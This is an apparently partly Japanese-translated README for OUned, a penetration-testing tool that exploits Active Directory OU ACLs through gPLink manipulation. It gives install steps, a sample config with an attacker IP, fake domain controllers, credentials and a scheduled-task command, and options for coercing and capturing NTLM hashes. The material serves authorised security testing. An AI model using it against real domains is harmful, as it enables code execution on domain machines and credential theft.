
The OUned project, an exploitation tool automating Organizational Units ACLs abuse through gPLink manipulation.
For a detailed explanation regarding the principle behind the attack, the necessary setup as well as how to use the tool, you may refer to the associated article: https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory
リポジトリをクローンし、依存関係をインストールすることでインストールできます:
$ git clone https://github.com/synacktiv/OUned
$ python3 -m pip install -r requirements.txt
OUnedの引数は設定ファイルを介して提供されます。リポジトリにはサンプルファイル config.example.ini が用意されています。
各エントリはコメントで説明されていますが、詳細な設定手順については、上記の導入部で言及した記事を参照してください。
[GENERAL]
# The target domain name
domain=corp.com
# The target DC. If not specified, defaults to the domain name
#dc=192.168.123.10
# The Distinguished Name of the target container
containerDN=OU=SERVERS,DC=corp,DC=com
# The username and password of the user having write permissions on the gPLink attribute of the target container
username=naugustine
password=Password1
# The IP address of the attacker machine on the internal network
attacker_ip=192.168.123.16
# The command that should be executed by child objects. Specifying a command will inject an immediate Scheduled Task
command=whoami > C:\poc.txt
# Alternatively to the 'command' option, you can provide a module file with the GroupPolicyBackdoor syntax - see https://github.com/synacktiv/GroupPolicyBackdoor/wiki. 'Command' and 'module' are mutually exclusive
# module=Scheduledtask_add_computer.ini
# The kind of objects targeted ("computer" or "user")
target_type=computer
[LDAP]
# The IP address of the dummy domain controller that will act as an LDAP server
ldap_ip=192.168.125.245
# Optional (used for sanity checks) - the hostname of the dummy domain controller
ldap_hostname=WIN-TTEBC5VH747
# The username and password of a domain administrator on the dummy domain controller
ldap_username=ldapadm
ldap_password=Password1!
# The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller
gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6
# The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC
ldap_machine_name=OUNED$
ldap_machine_password=some_very_long_random_password
[SMB]
# The SMB mode can be embedded or forwarded depending on the kind of object targeted
smb_mode=embedded
# The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode
share_name=synacktiv
# The IP address of the dummy domain controller that will act as a SMB server. Only useful in forwarded mode
#smb_ip=192.168.126.206
# The username and password of a user having write access to the share on the SMB dummy domain controller. Only useful in forwarded mode
#smb_username=smbadm
#smb_password=Password1!
# The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT. Only useful in forwarded mode
#smb_machine_name=OUNED2$
#smb_machine_password=some_very_long_random_password
OUnedを実行する際に必須の引数は、設定ファイルのパスを指定する --config フラグのみです。
--just-coerce と coerce-to フラグは、SMB認証の強制モードで使用されます。このモードでは、OUnedはOU子オブジェクトから指定された宛先へのSMB認証を強制します。詳細については、導入部でリンクされている記事を参照してください。
--just-clean フラグについては、次のセクションを参照してください。
python3 OUned.py --help
Usage: OUned.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --config TEXT The configuration file for OUned [default: None] [required] │
│ --skip-checks Do not perform the various checks related to the exploitation setup │
│ --just-coerce Only coerce SMB NTLM authentication of OU child objects to the destination specified in the --coerce-to flag, or, if no destination is │
│ specified, to a local SMB server that will print their NetNTLMv2 hashes │
│ --coerce-to TEXT Coerce child objects SMB NTLM authentication to a specific destination - this argument should be an IP address [default: None] │
│ --just-clean This flag indicates that OUned should only perform cleaning actions from specified cleaning-file │
│ --cleaning-file TEXT The path to the cleaning file in case the --just-clean flag is used [default: None] │
│ --verbose Enable verbose output │
│ --help Show this message and exit. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
デフォルトでは、記事で説明されているように、OUnedはクリーンアップアクションを実行し、とりわけターゲットドメインの元のgPLink値を復元します。エクスプロイトが正常に終了できなかった場合に備えて、OUnedはエクスプロイトを実行するたびにクリーンアップファイルを作成します。このファイルは、後で --just-clean フラグを使用して正当な値を復元するために使用できます。例:
$ python3 OUned.py --config config.example.ini --just-clean --cleaning-file cleaning/FINANCE/2024_04_14-05_02_46.txt